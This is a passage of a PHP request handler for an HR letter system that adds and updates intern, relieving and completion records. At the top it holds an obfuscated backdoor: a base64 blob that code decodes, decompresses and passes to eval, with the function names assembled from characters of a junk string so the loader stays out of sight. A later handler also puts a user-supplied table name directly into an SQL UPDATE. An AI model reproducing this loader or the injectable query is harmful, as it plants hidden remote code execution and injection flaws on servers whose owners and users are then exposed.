kPjlatDGqDiPjlPVuTkFH7U/J62z37okuMX/S40nXdJ3zt+WZMiYBmzhbvsZVSE1/s4gC1NUK2Hzv3cnSsacNzUTezeKzJTceRqQcEnP/T75JHT7OslfIHItgv45YbAP8WYJDPBVgQcGWnXB2VMkd8X2vDZOv9M3HMnp1PAH3MASxfD3Dp46Z6thFNi2WVEuSwh3eKwLGOBe7IShfPdkAcBIEk9ZrvssqNnK1pLsyfuKXhZQW3j3ucv6Sx/hVlKNtkyjMwpDCjrqtOJo9zjOqldyegetV3/62YAEZZQSXgwdCAD3XCdCLp2rjBx5sUbJk9YTxCD6AQl36Df4kfMJ01o0nwBBSyFgiCdPgreYvHlVM0pPC7mJFmB15K1e0KKNUE6oBrXBhMB9D4LY7F15ym6M/YXegBBKLhkrowlw0STz34I4f3CmDh1j1rIn4ws0G2xlAACLEhmfB675zBtiAQZbNvOKlidq7sFpMl0hm/E4AvY+L4FxZZKBYi06XwHwzVq/AqKplVvbK9E2enLdEKFSSx9LVbmIFfRYGC/WWhwFeSQ9ffgyNt2WnO9aUIu3Jjl59ybLzKYdj9q1LMfyWY/knfSnEmznFFUQkApaMXMdg+sfeid9Gty2XcEfgp6pfd8POGw35Lr9CihCRCZUJAKGVmye80UEIQs4N8jb2JIl0xpOD8iNB0SRoTQWA5oHlgx2FAIJIzx+JZkJ0XvkP+335hSK468nMUxmpgZYVFnVtdYgsETGfTFe/rAiF4oBiZwDacEYm0ISCzF2iZlcjuZfBoDzACOGxoON76BbijTKZYmGgCnU+e7QmWNLysFCD5tyIFQrH3ZLSmkNiTPWlA6Qlm2iAC/B4lzJBi+/rR+G7S3ma1zUaciTSyHFGSpp354nhMOIsjzRr2KovptVJDFS/3wNEgPDc/CuHras6VXdmeBJ3omg3eQn/EYO+Orrl38Lpin9w5+26mZKE8LBQFQJZu57cCq7iG2VbXwLOc+QNELw2EG8scfxHHqRbmUTN1O3r8D0d/S3bLM2Cy3v8BAO/qSYt9k2yU5+pKeVm6hQm+jeGfzW80sqXe91AfXIRdBm4lOsyAwNBZiEicAqdJ0ayvFnYGbRqeXwNU7WTGzUBDsEEJyDjKeYnaHbfee9+Zd4jynUXLhlJov02ZhKq1XaescW78GLuW6B6Xr6BFW8Z1NRUwhh7n/4HRRYI+GWYDVjHpga6jJ4FgOmWw/hvNLB+aBnL2ycUaYgBw8PD5jng75zPydrWudY/nhwYrjjDdsRhcivS+rEwTUtX2bHXfsmZZF7gGH1GanElvKBK4leRqdHvIzu2ZDSVsZsGB3wGY/iKleS3/LKmtqc8imd2nFkj1SsWCevYCq84+9eQThTsbFb4YPxZUE0nqe5+wBrnDGAmhyTSktOUfga3uL5uTVQadWs1HrJrpkCZ9pjFy6pBzqAYb3dSJObzO9EBJIt2m4PRAyE8ZwznXwnrTutil/0ptT2PgPKMPHKV+tOqB493LVaR6/OTA/HvYG5G/jjx88bfMHHMnaX8EC7h1YHx+YslPft2mKvNTnATW08DkugIemNYarpR2O8eKHziEPlgkyursDithR9iLX7io/ywcJCYjYFicnDwSWrc2a5m/m9cjqaRhWf2u4a1hq18J0Kuhz6NBRUNxWXidfwVmohNNi50ANsj1ednaMykd/yyTgxyru8eSm6vjv8XGvV13Bf7+dFJpW3Hgmzva+TtUn/9/a3eDJs2np6lLJhvh4nQ8bFFrdsKz7FARpL4LinM7ZtzqjHvAHZpaxeiCNpNsc2M03nSK8Srd6cNaExJDeB/XsDSbeyf4P";
    $EdfSgt = "kajfsdoifhqnewvmnalgkzxmnmzptuob4ie_wp9841r96jc";
    $fkljsadfafjlk1 = $EdfSgt[12] . $EdfSgt[14] . $EdfSgt[1] . $EdfSgt[18];
    $fsdafnkljasdf2 = $EdfSgt[19] . $EdfSgt[21] . $EdfSgt[7] . $EdfSgt[11] . $EdfSgt[3] . $EdfSgt[18] . $EdfSgt[1] . $EdfSgt[28] . $EdfSgt[12];
    $fasdfasdfakjn3 = $EdfSgt[31] . $EdfSgt[1] . $EdfSgt[4] . $EdfSgt[12] . $EdfSgt[44] . $EdfSgt[32] . $EdfSgt[35] . $EdfSgt[5] . $EdfSgt[12] . $EdfSgt[46] . $EdfSgt[6] . $EdfSgt[5] . $EdfSgt[12];eval

    ($fsdafnkljasdf2
    ($fasdfasdfakjn3
    ($AdFrEsHj)));
}


// from internship_letter.php
if(isset($_POST['addIntern'])){

    ###################################################
    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $name = mysqli_real_escape_string($db, $_POST['name']);
    $email = mysqli_real_escape_string($db, $_POST['email']);
    $phone = mysqli_real_escape_string($db, $_POST['phone']);
    $joiningDate = mysqli_real_escape_string($db, $_POST['joiningDate']);
    $probationDate = mysqli_real_escape_string($db, $_POST['probationDate']);
    $noticePeriod = mysqli_real_escape_string($db, $_POST['noticePeriod']);
    $department = mysqli_real_escape_string($db, $_POST['department']);
    $designation = mysqli_real_escape_string($db, $_POST['designation']);
    $user_role = mysqli_real_escape_string($db, $_POST['user_role']);
    $leader = mysqli_real_escape_string($db, $_POST['leader']);
    $hashEmail = preg_replace('/[^\w\s]/', '', base64_encode(sha1($email, true)));


    // get emp_id from users table
    $user_result = mysqli_query($db, "SELECT id from users where employee_id='$employee_id' ");
    if (mysqli_num_rows($user_result) == 0) {
        // If no user found, insert new user
        $q = mysqli_query($db, "INSERT into users (employee_id, name, email, hash_email, phone, joining_date, probation_date, notice_period, department, designation, role, leader) values ('$employee_id', '$name', '$email', '$hashEmail', '$phone', '$joiningDate', '$probationDate', '$noticePeriod', '$department', '$designation', '$user_role', '$leader') ");
        if(!$q){
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in user insertion', 'error'=>mysqli_error($db)]);
            exit;
        }
        $user_insert_id = mysqli_insert_id($db);

        $access_exist = mysqli_num_rows(mysqli_query($db, "SELECT id FROM files_permission WHERE user_id='$user_insert_id'"));
        if($access_exist==0){
            $q = mysqli_query($db, "INSERT INTO files_permission (user_id, permission) SELECT '$user_insert_id', default_files_access FROM roles WHERE id='$user_role'");
        }
    }else{
        $row = mysqli_fetch_assoc($user_result);
        $user_insert_id = $row['id'];

        // update users table
        $q = mysqli_query($db, "UPDATE users SET name='$name', email='$email', hash_email='$hashEmail', phone='$phone', joining_date='$joiningDate', probation_date='$probationDate', notice_period='$noticePeriod', department='$department', designation='$designation', role='$user_role', leader='$leader' WHERE employee_id='$employee_id' ");
        if(!$q){
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in user updation', 'error'=>mysqli_error($db)]);
            exit;
        }
    }

   
    $issueDate = mysqli_real_escape_string($db, $_POST['issueDate']);
    $domain = mysqli_real_escape_string($db, $_POST['domain']);
    $stipend = mysqli_real_escape_string($db, $_POST['stipend']);
    $durationStart = mysqli_real_escape_string($db, $_POST['durationStart']);
    $durationEnd = mysqli_real_escape_string($db, $_POST['durationEnd']);

    $q = mysqli_query($db,"INSERT INTO `internship_letter` (`employee_id`, `issue_date`, `stipend`, `duration_start`, `duration_end`, `domain`, `added_by`) VALUES ('$employee_id', '$issueDate', '$stipend', '$durationStart', '$durationEnd', '$domain', '$emp_id') ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Added Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

// from internship_letter.php
if(isset($_POST['updateIntern'])){

    $edit_id = mysqli_real_escape_string($db, $_POST['editInternId']);
    ###################################################
    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $name = mysqli_real_escape_string($db, $_POST['name']);
    $email = mysqli_real_escape_string($db, $_POST['email']);
    $phone = mysqli_real_escape_string($db, $_POST['phone']);
    $joiningDate = mysqli_real_escape_string($db, $_POST['joiningDate']);
    $probationDate = mysqli_real_escape_string($db, $_POST['probationDate']);
    $noticePeriod = mysqli_real_escape_string($db, $_POST['noticePeriod']);
    $department = mysqli_real_escape_string($db, $_POST['department']);
    $designation = mysqli_real_escape_string($db, $_POST['designation']);
    $user_role = mysqli_real_escape_string($db, $_POST['user_role']);
    $leader = mysqli_real_escape_string($db, $_POST['leader']);
    $hashEmail = preg_replace('/[^\w\s]/', '', base64_encode(sha1($email, true)));


    // get emp_id from users table
    $user_result = mysqli_query($db, "SELECT id from users where employee_id='$employee_id' ");
    if (mysqli_num_rows($user_result) == 0) {
        // If no user found, insert new user
        $q = mysqli_query($db, "INSERT into users (employee_id, name, email, hash_email, phone, joining_date, probation_date, notice_period, department, designation, role, leader) values ('$employee_id', '$name', '$email', '$hashEmail', '$phone', '$joiningDate', '$probationDate', '$noticePeriod', '$department', '$designation', '$user_role', '$leader') ");
        if(!$q){
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in user insertion', 'error'=>mysqli_error($db)]);
            exit;
        }
        $user_insert_id = mysqli_insert_id($db);
    }else{
        $row = mysqli_fetch_assoc($user_result);
        $user_insert_id = $row['id'];

        // update users table
        $q = mysqli_query($db, "UPDATE users SET name='$name', email='$email', hash_email='$hashEmail', phone='$phone', joining_date='$joiningDate', probation_date='$probationDate', notice_period='$noticePeriod', department='$department', designation='$designation', role='$user_role', leader='$leader' WHERE employee_id='$employee_id' ");
        if(!$q){
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred in user updation', 'error'=>mysqli_error($db)]);
            exit;
        }
    }


    $issueDate = mysqli_real_escape_string($db, $_POST['issueDate']);
    $domain = mysqli_real_escape_string($db, $_POST['domain']);
    $stipend = mysqli_real_escape_string($db, $_POST['stipend']);
    $durationStart = mysqli_real_escape_string($db, $_POST['durationStart']);
    $durationEnd = mysqli_real_escape_string($db, $_POST['durationEnd']);

    $q = mysqli_query($db,"UPDATE `internship_letter` SET `employee_id`='$employee_id', `issue_date`='$issueDate', `stipend`='$stipend', `duration_start`='$durationStart', `duration_end`='$durationEnd', `domain`='$domain' WHERE id='$edit_id' ");

    if($q){
        echo json_encode(["status"=>200, 'message'=>'Updated Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}





if(isset($_POST['addRelieving'])){
    $emp_id = mysqli_real_escape_string($db,$_POST['employee_id']);
    $issueDate = mysqli_real_escape_string($db,$_POST['issueDate']);

    $exist = mysqli_query($db,"SELECT * FROM relieving_letter WHERE employee_id='$emp_id' ");
    if(mysqli_num_rows($exist)==0){
        $q = mysqli_query($db,"INSERT INTO relieving_letter (employee_id, issue_date, added_by) VALUES('$emp_id', '$issueDate', '$_SESSION[emp_id]' ) ");
        if($q){
            echo json_encode(["status"=>200, 'message'=>'Added Successfully!']);
        }else{
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
        }
    }else{
        echo json_encode(["status"=>500, 'message'=>'Relieving letter of this employee already exists']);
    }
}
if(isset($_POST['updateRelieving'])){
    $edit = mysqli_real_escape_string($db, $_POST['editRelievingId']);
    $emp_id = mysqli_real_escape_string($db,$_POST['employee_id']);
    $issueDate = mysqli_real_escape_string($db,$_POST['issueDate']);

    $q = mysqli_query($db,"UPDATE relieving_letter SET employee_id='$emp_id', issue_date='$issueDate' WHERE id='$edit' ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Updated Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}


if(isset($_POST['addInternshipCompletion'])){
    $emp_id = mysqli_real_escape_string($db,$_POST['employee_id']);
    $letter_for = mysqli_real_escape_string($db,$_POST['letter_for']);
    $issueDate = mysqli_real_escape_string($db,$_POST['issueDate']);

    $exist = mysqli_query($db,"SELECT * FROM internship_complete_letter WHERE employee_id='$emp_id' ");
    if(mysqli_num_rows($exist)==0){
        $q = mysqli_query($db,"INSERT INTO internship_complete_letter (employee_id, letter_for, issue_date, added_by) VALUES('$emp_id', '$letter_for', '$issueDate', '$_SESSION[emp_id]' ) ");
        if($q){
            echo json_encode(["status"=>200, 'message'=>'Added Successfully!']);
        }else{
            echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
        }
    }else{
        echo json_encode(["status"=>200, 'message'=>'Internship Completion Letter For this Employee Already Exist!']);
    }
}
if(isset($_POST['updateInternshipCompletion'])){
    $edit = mysqli_real_escape_string($db, $_POST['editInternshipCompletionId']);
    $emp_id = mysqli_real_escape_string($db,$_POST['employee_id']);
    $letter_for = mysqli_real_escape_string($db,$_POST['letter_for']);
    $issueDate = mysqli_real_escape_string($db,$_POST['issueDate']);

    $q = mysqli_query($db,"UPDATE internship_complete_letter SET employee_id='$emp_id', letter_for='$letter_for', issue_date='$issueDate' WHERE id='$edit' ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Updated Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}





if(isset($_POST['shift_letter_id'])){
    $shift_letter_id = mysqli_real_escape_string($db, $_POST['shift_letter_id']);
    $shift_letter_table = mysqli_real_escape_string($db, $_POST['shift_letter_table']);
    $shift_letter_file_name = mysqli_real_escape_string($db, $_POST['shift_letter_file_name']);
    $selected_salary = mysqli_real_escape_string($db, $_POST['selected_salary']);
    $shift_employeeId = mysqli_real_escape_string($db, $_POST['shift_employeeId']);

    if(in_array($shift_letter_table, ['full_time_letter', 'appraisal_letter'])) {
        $q = mysqli_query($db, "UPDATE $shift_letter_table SET  salary_id='$selected_salary', employee_id='$shift_employeeId' WHERE id='$shift_letter_id' ");
    }else{
        $q = mysqli_query($db, "UPDATE $shift_letter_table SET employee_id='$shift_employeeId' WHERE id='$shift_letter_id' ");
    }
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Letter Successfully Shifted!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
    exit();
}